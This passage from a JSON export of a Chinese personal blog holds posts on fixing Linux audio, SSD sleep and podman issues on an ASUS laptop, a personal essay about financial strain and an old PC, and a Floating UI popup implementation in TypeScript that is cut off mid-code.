\u003ccode\u003epatched_acpi_tables.cpio\u003c/code\u003e,并将其加到grub引导参数中,这样就能让内核加载这个补丁了。\u003c/p\u003e\n\u003cp\u003e可能是由于型号不太匹配的原因,这么做之后音响能听了,但是音质很奇怪,听起来就好像大过年去姥姥家吃年夜饭,隔壁有个上世纪的收音机在放春晚一样。不过我大部分时间都戴着耳机,音响能响就行。我看linux主线也在推进 ALC 285 芯片相关驱动,没准等一段时间上游就给修好了。\u003c/p\u003e\n\u003ch2 id=\"掉盘风波\"\u003e“掉盘”风波\u003c/h2\u003e\n\u003cp\u003e新电脑自带了一块1T的海力士,如果双系统的话不太够用。正好赶上长江消防队给固态价格完全干下来了,于是打算支持一下国货,入了ZHITAI TiPlus 7000 2TB版本。这块固态没有缓存,在网上查了查风评甚好,就入了。\u003c/p\u003e\n\u003cp\u003e结果三天掉了两次盘,具体表现是用着用着系统突然死了,无法新建任何进程,机器上的硬盘灯直接灭了。journal log由于需要持久化存储到硬盘上,因此log也没看见。我以为我是那个掉盘倒霉蛋,但其实并不是,我只要长按电源键重启电脑,硬盘是可以直接识别的。这跟掉盘的表现不太一样,掉盘的话再次开机应该会直接不识盘,等待主控自行修复完成之后才能正常挂载开机。但是我这里只要强制重启了就一定能跑,这就很奇怪了。最后找到了\u003ca href=\"https://lore.kernel.org/all/82fa489d-a14b-58d9-7bd9-67418a02a0d3@nvidia.com/t/\" target=\"_blank\" rel=\"noopener noreffer \"\u003e这个\u003c/a\u003e和\u003ca href=\"https://www.spinics.net/lists/stable/msg645104.html\" target=\"_blank\" rel=\"noopener noreffer \"\u003e这个\u003c/a\u003e,确认了是硬盘深度休眠结果直接睡死了。\u003c/p\u003e\n\u003cp\u003e遂禁用掉最深的休眠状态,问题就消失了。\u003c/p\u003e\n\u003ch2 id=\"容器\"\u003e容器\u003c/h2\u003e\n\u003cp\u003e本来是想继续用Docker的,后来看了看podman,无守护进程的设计感觉还不错,于是就搞了podman,甚至还装了一个k3s(但是一次也没用到)。\u003c/p\u003e\n\u003cp\u003e目前用起来唯一的问题是podman没有守护进程,因此每次开机之后无法恢复之前的容器运行状态,得手动启动一下。对于一些必要服务,倒也有解决方案:用systemd来启动。例如:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003epodman generate systemd --new --name 服务名 -f\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e可以生成一个systemd服务文件,复制到systemd文件夹下然后作为用户自启任务即可。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/asus_linux_1/"},{"title":"驴和他的烂磨盘","time":"2023-05-14T22:58:00+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e心情又很不好了,写点乱七八糟语无伦次的东西。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e写这篇博客的时候,我电脑上正开着一个CLion,一个浏览器和一个neovim,老伙计那喷气式直升机一样的声音和一晃三卡的鼠标指针让我有点难绷。再加上半夜调前端又被js的神奇特性摆了一道,越想越难受。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e从去年开始,这台陪了我四年的老伙计有点力不从心了。先是BIOS经常卡着不能开机,本来想着返厂,但是厂商技嘉已经跑路了。有朋友提了一句是不是内存条氧化了?于是给电脑拆开擦了擦,又成了,但那时已经有换电脑的心思了。彼时我手里的几个项目似乎都有赚点钱的希望,于是水群的时候经常跟群友做梦说:“等xxxx的钱下来了我要给装备换个新” 之类的,群友锐评:“你好像那个什么驴,有钱了第一件事是换个好磨”。结果到了年初,项目烂尾了一个,杳无音讯了一个,还剩一个给学校写的CTF平台不知道能拿多少钱,于是时常挂在嘴边的变成了 “等xxx的钱下来了至少把这电脑换了”。后来平台的钱下来了,但没完全下来,按月发三年,每个月倒是够生活费了。彳亍,好磨也换不成了,给桌面环境精简一下,该删的删一删,再凑合几年吧。\u003c/p\u003e\n\u003cp\u003e我的经济情况一直都不怎么样,但是不管怎么说,能过。大概在大二结束的时候,因为在社团干活,学院每个月会给发一点钱,慢慢地攒起来了一些,后来就不找家里要生活费了。因为平时没什么花销,顶多出去吃顿好的多花一点,这点劳务费够用,还能存点。存了一笔钱之后,就咬咬牙给手机换了,然后继续存。去年暑假的时候去华为实习了两个月,那点工资交了房租就不剩什么了。手里常驻两三千块钱,吃饭应急什么的全靠这些。\u003c/p\u003e\n\u003cp\u003e直到前些天,和朋友一起出去吃顿饭,付账的时候看了眼余额,心里算了算如果不出去玩的话,似乎吃到月底就破产了。紧接着隔壁社团活动要整个登记网站,就托管在我这儿,完事之后云服务商账单+500,还没付呢,付了吃不起饭了。然后想想,似乎学校很久没有发劳务费了。(其实我心里是不赞成发劳务费的,社团的带伙本就是靠着兴趣聚在一起搞搞技术,一旦跟钱扯上关系各种味道就变了,但是不发劳务费之后,我好像没有经济来源了。)于是开始想办法整点额外收入,于是开始接一些外包的小项目之类的,一单几百块或者多点的一千块,也算是有生活费了,但是时时刻刻都在计划经济,买瓶椰汁都得想想。\u003c/p\u003e\n\u003cp\u003e为什么会这样呢,好像那个什么骆驼祥子。\u003c/p\u003e\n\u003cp\u003e……\u003c/p\u003e\n\u003cp\u003e晚上被群友翻到了很久以前写的周报。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e好像是成功了。\u003c/p\u003e\n\u003cp\u003e……\u003c/p\u003e\n\u003cp\u003e我这些年真的写了好多东西啊。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e有个别大点的项目,不过大部分都是些灵光一闪的小玩具和作业,不复杂,但好使。\u003c/p\u003e\n\u003cp\u003e还有一些为了社团活动写的各种网站,活动结束了也关服删档了,找不着图了。\u003c/p\u003e\n\u003cp\u003e想来我还是有点执行力的,愿意为了一个突然冒出来的点子和杠劲在电脑前面肝上三四个月,学门新技术,然后跟各种奇怪的bug/feature斗争许久,每天深夜和各种库的维护者吵架。三年过去了,issue里吵过架的开发者有的财富自由了,有的受不了维护工作 归档仓库享受生活了,剩个我跟三年前一样,遇到事情只会搜StackOverflow,只会抛issue,长时间没人理就自个瞎jb改半天,提个自以为是的pr等review。\u003c/p\u003e\n\u003cp\u003e每当我想买点什么的时候,我会想一想我配吗,我生产的价值值得我去买这样一个东西吗。这台老伙计,19年的i7+2070,大概算很高配的东西,花了近1w8大洋,曾经期待着能用个六七年,如今四年过去就不太彳亍了。不过综合考量一下我自认为还是能值回这笔钱的,上述图里的某个项目成交价大概能买几十个它,但是我见不着多少钱,甚至不能换个好磨盘。\u003c/p\u003e\n\u003cp\u003e真好笑。就像我办场比赛累死累活,最后颁奖仪式不会有半个字致谢我一样。感觉生活应该是很光明的,前途看起来是很不错的,可是为什么会这样呢,恋爱什么的我都不敢想了,一方面我真的没有精力再操心,另一方面谈上一个星期可能就给我干破产了。偶尔和朋友一起吃个饭,跟课题组一起出去玩一玩,大概就是我这段生命里最美好的时光了。我小时候经常因为遭受到不公平待遇之后被批评不够吃苦不够努力才会这样,现在我很少找人帮忙,大部分时候会一个人肝完所有事情,有人能想起来我是好的,想不起来也无所谓,我离了谁都可以活下去,都可以靠谱的把事情做完,这样总足够了吧。\u003c/p\u003e\n\u003cp\u003e我希望我能做点什么改善现状,而不是只会在群里骂这个骂那个,动不动抽象讽刺,除了传递负面情绪之外屁用没有。我希望能用我自己的努力创造一个更好的环境,我对生活质量的要求很低,我可以过得不好,我可以不过节日,我可以蒙上双眼不去看高档生活是什么样子,但我不想看到我亲手创造的价值去向不明。\u003c/p\u003e\n\u003cp\u003e理想主义者总是负重前行,但我似乎得想想,我背着的究竟是什么东西。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/20230514/"},{"title":"如何在前端弹出来一个框","time":"2023-04-10T20:49:27+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e目前 Cyber Terminal 前端的基础样式解决方案是\u003ccode\u003etailwindcss\u003c/code\u003e,配合 \u003ccode\u003edaisy UI\u003c/code\u003e 和我自己封装的一套 \u003ccode\u003eRxUI\u003c/code\u003e 勉强凑合着用。\u003ccode\u003edaisy UI\u003c/code\u003e 的设计理念是纯 CSS 实现,不掺杂任何的 JavaScript 代码,我挺喜欢这种实现方式,纯 CSS 实现的用户界面比掺杂了 JS 的界面总是让人更放心一点。但是 CSS 终究是没有 JS 强大的,它只是一套静态布局系统,这就导致了一系列的用户体验问题。\u003c/p\u003e\n\u003cp\u003e比如说一个简单的弹出框。在 \u003ccode\u003edaisy UI\u003c/code\u003e 的解决方案中,他们使用了元素的 \u003ccode\u003efocus\u003c/code\u003e 状态,配合 CSS 选择器来显示弹出元素。这乍一听好像挺符合设计思想的,但是用的时候就出现了一堆问题。为了保证元素正确加载,在未显示的情况下,弹出元素上设置的并不是 \u003ccode\u003edisplay: none\u003c/code\u003e,而是 \u003ccode\u003evisibility: hidden\u003c/code\u003e,这就导致弹出元素即使在未显示的状态下也占据了实际空间的,只是不可见而已,可能会在某些情况下打乱布局。\u003c/p\u003e\n\u003cp\u003e比如,我想要实现一个可滚动的 \u003ccode\u003eTable\u003c/code\u003e 组件,在表格的每一列上我都放置了一系列操作按钮,对于比较危险的操作,例如删除,会有一个弹出框让用户进行二次确认。这个时候问题就来了,由于弹出框在未显示的情况下也是占据空间的,最后一列上的弹出框就会继续向下拓展,就导致了表格滚动到最后一列后还能继续向下滚动一段距离,看起来很奇怪。\u003c/p\u003e\n\u003cp\u003e问题还不止这一点,由于 CSS 没有类似于 \u003ccode\u003efloating\u003c/code\u003e 的功能,元素是无法探查可视边界的。Table 组件默认可滚动,导致内部元素的溢出行为是\u003ccode\u003eclip\u003c/code\u003e,于是把溢出窗口的对话框一起给切了。不只是对话框,还有 \u003ccode\u003etooltip\u003c/code\u003e 之类的东西,会变成这个样子:\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e嘛……虽然应该没人拿宽度这么巧的设备打CTF……但是这个行为太蠢了,我写的时候得时时刻刻注意着弹出位置,放左边溢出了,放右边也溢出了,放下边好消息是没溢出,坏消息是给滚动条撑起来了……\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e于是我就开始找解决方案,找着找着找到了Microsoft在油管上发的\u003ca href=\"https://www.youtube.com/watch?v=yhzAn4A1gbk\" target=\"_blank\" rel=\"noopener noreffer \"\u003eFluent UI Design相关视频\u003c/a\u003e。他们最终选了 \u003ca href=\"https://popper.js.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003epopper.js\u003c/a\u003e 作为弹出式组件的解决方案。但是……这个组件只有 React 框架的集成方案,Vue 的几个第三方集成方案都不太好使了。\u003c/p\u003e\n\u003cp\u003e还是自己写吧……\u003c/p\u003e\n\u003cp\u003e最终选用了 Floating UI 作为实现方案,按照svelte的生命周期简单包装了一下。相关API参考都在这里了:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003ecomputePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eautoUpdate\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eoffset\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eshift\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eflip\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;@floating-ui/dom\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/** Placement https://floating-ui.com/docs/computePosition#placement */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e \u003cspan class=\"nx\"\u003eDirection\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;top\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;bottom\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;left\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;right\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e \u003cspan class=\"nx\"\u003ePlacement\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eDirection\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eDirection\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e-start`\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eDirection\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e-end`\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Options \u0026amp; Middleware\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003einterface\u003c/span\u003e \u003cspan class=\"nx\"\u003eMiddleware\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Required ---\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"cm\"\u003e/** Offset middleware settings: https://floating-ui.com/docs/offset */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eoffset?\u003c/span\u003e: \u003cspan class=\"kt\"\u003enumber\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"nx\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Shift middleware settings: https://floating-ui.com/docs/shift */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eshift?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Flip middleware settings: https://floating-ui.com/docs/flip */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eflip?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Optional ---\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"cm\"\u003e/** Size middleware settings: https://floating-ui.com/docs/size */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esize?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Auto Placement middleware settings: https://floating-ui.com/docs/autoPlacement */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eautoPlacement?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Hide middleware settings: https://floating-ui.com/docs/hide */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003ehide?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Inline middleware settings: https://floating-ui.com/docs/inline */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003einline?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003einterface\u003c/span\u003e \u003cspan class=\"nx\"\u003ePopupSettings\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Provide the event type. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;hover\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;focus-blur\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;focus-click\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Match the popup data value `data-popup=\u0026#34;targetNameHere\u0026#34;` */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etarget\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Set the placement position. Defaults \u0026#39;bottom\u0026#39;. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eplacement?\u003c/span\u003e: \u003cspan class=\"kt\"\u003ePlacement\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Query elements that close the popup when clicked. Defaults `\u0026#39;a[href], button\u0026#39;`. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003ecloseQuery?\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Optional callback function that reports state change. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"o\"\u003e?:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e: \u003cspan class=\"kt\"\u003eboolean\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Provide Floating UI middleware settings. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003emiddleware?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eMiddleware\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003epopup\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e: \u003cspan class=\"kt\"\u003eHTMLElement\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e: \u003cspan class=\"kt\"\u003ePopupSettings\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Local State\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e: \u003cspan class=\"kt\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// eslint-disable-next-line @typescript-eslint/no-empty-function\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eautoUpdateCleanup\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003efocusableAllowedList\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;:is(a[href], button, input, textarea, select, details, [tabindex]):not([tabindex=\u0026#34;-1\u0026#34;])\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003efocusablePopupElements\u003c/span\u003e: \u003cspan class=\"kt\"\u003eHTMLElement\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 